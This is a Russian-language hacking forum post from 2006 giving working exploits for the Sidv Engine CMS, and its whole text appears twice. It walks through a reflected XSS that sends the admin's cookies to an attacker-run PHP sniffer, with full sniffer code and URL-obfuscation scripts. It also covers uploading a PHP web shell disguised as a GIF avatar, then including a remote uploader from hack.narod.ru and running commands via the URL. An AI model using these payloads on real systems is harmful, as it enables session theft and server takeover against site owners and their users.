p-range
20.12.2006, 01:25
Script: Sidv Engine <= v3.031
Автор: p-range http://p-range.info/
Название: Уязвимости Sidv Engine
=============================
XSS
Пример как угнать куки админа
=============================
нашли xss
http://host/index.php?m=%3Cscript%3Ealert(document.cookie)%3C/script%3E
Создаем файл cookie.js и пишем в нем:
location.href='http://твой_сайт_с_php/sniffer.php' + document.cookie;
Создаем файл sniffer.php
_
<?php
$cookie = $_SERVER['QUERY_STRING'];
if($cookie)
{
$fp = fopen("cookies.txt", "a+");
fwrite($fp, "Original: ".$cookie."\r\n"."UrlDecoded: ".urldecode($cookie)."\r\n\r\n");
fclose($fp);
header("Location: fbi.gov");
}
?>
Это код простейшего сниффера. Их полно в сети.
Создаем файл cookies.txt и ставим права на запись.
(В доведенный до ума снифер обычно включают различные проверки и нет необходимости создавать другие файлы)
В итоге получаем строчку:
<script src=http://твой_сайт_с_php/cookie.js></script>
Получаем урл вида:
http://host/index.php?m=<script src=http://http://твой_сайт_с_php/cookie.js></script>
Для того чтобы админ не запалил такой урл, кодируем его в ASCII.
Напишем небольшой скрипт для кодирования текста в ASCII.
_
<?php
echo '<form method="post" action="">html-код -> шестнадцатиричные значения<br>';
echo '<input type="text" name="text" size="30"> <input type="submit" value="encode"></form>';
if (isset($_POST['text']))
{
echo "<br><b>Результат:</b><br>";
$str=str_replace("%20","",$_POST['text']);
for($i=0;$i<strlen($str);$i++)
{
$hex=dechex(ord($str[$i]));
if ($str[$i]=='&') echo "$str[$i]";
else if ($str[$i]!='\\') echo "%$hex";
}
}
?>
Или воспользуемся скриптом от CodeRunner:
_
<script language = "JavaScript">
function str_to_ascii(str)
{
ascii_str = "";
for(var i = 0; i < str.length; i++)
{
chr = str.charAt(i)
chr_ascii = chr.charCodeAt()
ascii_str += chr_ascii+","
}
return ascii_str.slice(0, ascii_str.length - 1)
}
</script>
<center>
<br /><br /><br />
<font color="gray" face="Courier New" size=+2>_/_/ (C)oded by CodeRunner, Cold Fear Team \_\_</font>
<br /><br /><br /><br /><br />
<b>Введите текст<b> <input type=text name="str" size=65>
<button onclick="document.all.ascii.value=str_to_ascii(document.all .str.value)">
Получить ASCII
</button>
<br />
<br />
<center><b>Результат:</center>
<textarea name="ascii" ROWS=3 COLS=80></textarea>
<center/>
_
Кодируем и получаем:
http://host/index.php?m=%3C%73%63%72%69%70%74%20%73%72%63%3D%6 8%74%74%70%3A%2F%2 F%68%74%74%70%3A%2F%2F%3F%3F%3F%3F%5F%3F%3F%3F%3F% 5F%3F%5F%70%68%70%2F%63%6F%6F% 6B%69%65%2E%6A%73%3E%3C%2F%73%63%72%69%70%74%3E
Впариваем ссылку админу и ждем плюшек.
=============
PHP Injection
Получаем шелл
=============
[1] Открываем фотошоп, создаем картинку 60х60. Идем в File -> File Info и пишем в поле копирайтов:
<?php passthru($_GET['cmd']); include($_GET['sh']); ?>
У меня получилось примерно следующее:
_
GIF89...
<COPY><?php passthru($_GET[cmd]);?>
...;
_
Сохраняем картинку с именем image.php
[2] Регистрируемся на портале. Заходим в меню "Профиль". Из списка выбираем вкладку "Фотография". Ставим галочку на последнем пункте (Закачать фотографию), жмем обзор и выбираем наш image.php. Жмем Далее и видим сообщение "Сохранение вашей фотографии прошло успешно!".
Итак, теперь пишем простенький скрипт для загрузки файлов на сервер.
<?php
set_time_limit(0);
echo <<<HTML
<form enctype="multipart/form-data" action="" method="POST">
<input type="hidden" name="ac" value="upload">
<b><font color="red">Загругзка файла на сервер</font></b><br>
<b>File:</b><br>
<input size="48" name="file" type="file"><br>
<b>Path:</b><br>
<input size="48" name="path" type="text"> <input type="submit" value="upload"><br>
HTML;
if (isset($_POST['path']))
{
$upfile = $_POST['path'].$_FILES['file']['name'];
if ($_POST['path']=="")
{
$upfile = $_FILES['file']['name'];
}
if (copy($_FILES['file']['tmp_name'], $upfile))
{
echo "OK $upfile<br>";
echo "Name:" .$_FILES['file']['name']. "<br>";
echo "Size:" .$_FILES['file']['size']. "<br>";
} else {
print "Error: \n";
print_r($_FILES);
}
}
?>
Написали. Теперь заливаем его на сервер БЕЗ ПОДДЕРЖКИ PHP (Например narod.ru)
Запускаем скрипт так:
http://host/foto_images/image.php?sh=http://hack.narod.ru/up.php
Загружаем шелл через скрипт.
Или выполняем команды непосредственно из строки адреса:
http://host/foto_images/image.php?cmd=ls -la
http://host/foto_images/image.php?cmd=id
Автор: p-range http://p-range.info/
Название: Уязвимости Sidv Engine
=============================
XSS
Пример как угнать куки админа
=============================
нашли xss
http://host/index.php?m=%3Cscript%3Ealert(document.cookie)%3C/script%3E
Создаем файл cookie.js и пишем в нем:
location.href='http://твой_сайт_с_php/sniffer.php' + document.cookie;
Создаем файл sniffer.php
_
<?php
$cookie = $_SERVER['QUERY_STRING'];
if($cookie)
{
$fp = fopen("cookies.txt", "a+");
fwrite($fp, "Original: ".$cookie."\r\n"."UrlDecoded: ".urldecode($cookie)."\r\n\r\n");
fclose($fp);
header("Location: fbi.gov");
}
?>
Это код простейшего сниффера. Их полно в сети.
Создаем файл cookies.txt и ставим права на запись.
(В доведенный до ума снифер обычно включают различные проверки и нет необходимости создавать другие файлы)
В итоге получаем строчку:
<script src=http://твой_сайт_с_php/cookie.js></script>
Получаем урл вида:
http://host/index.php?m=<script src=http://http://твой_сайт_с_php/cookie.js></script>
Для того чтобы админ не запалил такой урл, кодируем его в ASCII.
Напишем небольшой скрипт для кодирования текста в ASCII.
_
<?php
echo '<form method="post" action="">html-код -> шестнадцатиричные значения<br>';
echo '<input type="text" name="text" size="30"> <input type="submit" value="encode"></form>';
if (isset($_POST['text']))
{
echo "<br><b>Результат:</b><br>";
$str=str_replace("%20","",$_POST['text']);
for($i=0;$i<strlen($str);$i++)
{
$hex=dechex(ord($str[$i]));
if ($str[$i]=='&') echo "$str[$i]";
else if ($str[$i]!='\\') echo "%$hex";
}
}
?>
Или воспользуемся скриптом от CodeRunner:
_
<script language = "JavaScript">
function str_to_ascii(str)
{
ascii_str = "";
for(var i = 0; i < str.length; i++)
{
chr = str.charAt(i)
chr_ascii = chr.charCodeAt()
ascii_str += chr_ascii+","
}
return ascii_str.slice(0, ascii_str.length - 1)
}
</script>
<center>
<br /><br /><br />
<font color="gray" face="Courier New" size=+2>_/_/ (C)oded by CodeRunner, Cold Fear Team \_\_</font>
<br /><br /><br /><br /><br />
<b>Введите текст<b> <input type=text name="str" size=65>
<button onclick="document.all.ascii.value=str_to_ascii(document.all .str.value)">
Получить ASCII
</button>
<br />
<br />
<center><b>Результат:</center>
<textarea name="ascii" ROWS=3 COLS=80></textarea>
<center/>
_
Кодируем и получаем:
http://host/index.php?m=%3C%73%63%72%69%70%74%20%73%72%63%3D%6 8%74%74%70%3A%2F%2 F%68%74%74%70%3A%2F%2F%3F%3F%3F%3F%5F%3F%3F%3F%3F% 5F%3F%5F%70%68%70%2F%63%6F%6F% 6B%69%65%2E%6A%73%3E%3C%2F%73%63%72%69%70%74%3E
Впариваем ссылку админу и ждем плюшек.
=============
PHP Injection
Получаем шелл
=============
[1] Открываем фотошоп, создаем картинку 60х60. Идем в File -> File Info и пишем в поле копирайтов:
<?php passthru($_GET['cmd']); include($_GET['sh']); ?>
У меня получилось примерно следующее:
_
GIF89...
<COPY><?php passthru($_GET[cmd]);?>
...;
_
Сохраняем картинку с именем image.php
[2] Регистрируемся на портале. Заходим в меню "Профиль". Из списка выбираем вкладку "Фотография". Ставим галочку на последнем пункте (Закачать фотографию), жмем обзор и выбираем наш image.php. Жмем Далее и видим сообщение "Сохранение вашей фотографии прошло успешно!".
Итак, теперь пишем простенький скрипт для загрузки файлов на сервер.
<?php
set_time_limit(0);
echo <<<HTML
<form enctype="multipart/form-data" action="" method="POST">
<input type="hidden" name="ac" value="upload">
<b><font color="red">Загругзка файла на сервер</font></b><br>
<b>File:</b><br>
<input size="48" name="file" type="file"><br>
<b>Path:</b><br>
<input size="48" name="path" type="text"> <input type="submit" value="upload"><br>
HTML;
if (isset($_POST['path']))
{
$upfile = $_POST['path'].$_FILES['file']['name'];
if ($_POST['path']=="")
{
$upfile = $_FILES['file']['name'];
}
if (copy($_FILES['file']['tmp_name'], $upfile))
{
echo "OK $upfile<br>";
echo "Name:" .$_FILES['file']['name']. "<br>";
echo "Size:" .$_FILES['file']['size']. "<br>";
} else {
print "Error: \n";
print_r($_FILES);
}
}
?>
Написали. Теперь заливаем его на сервер БЕЗ ПОДДЕРЖКИ PHP (Например narod.ru)
Запускаем скрипт так:
http://host/foto_images/image.php?sh=http://hack.narod.ru/up.php
Загружаем шелл через скрипт.
Или выполняем команды непосредственно из строки адреса:
http://host/foto_images/image.php?cmd=ls -la
http://host/foto_images/image.php?cmd=id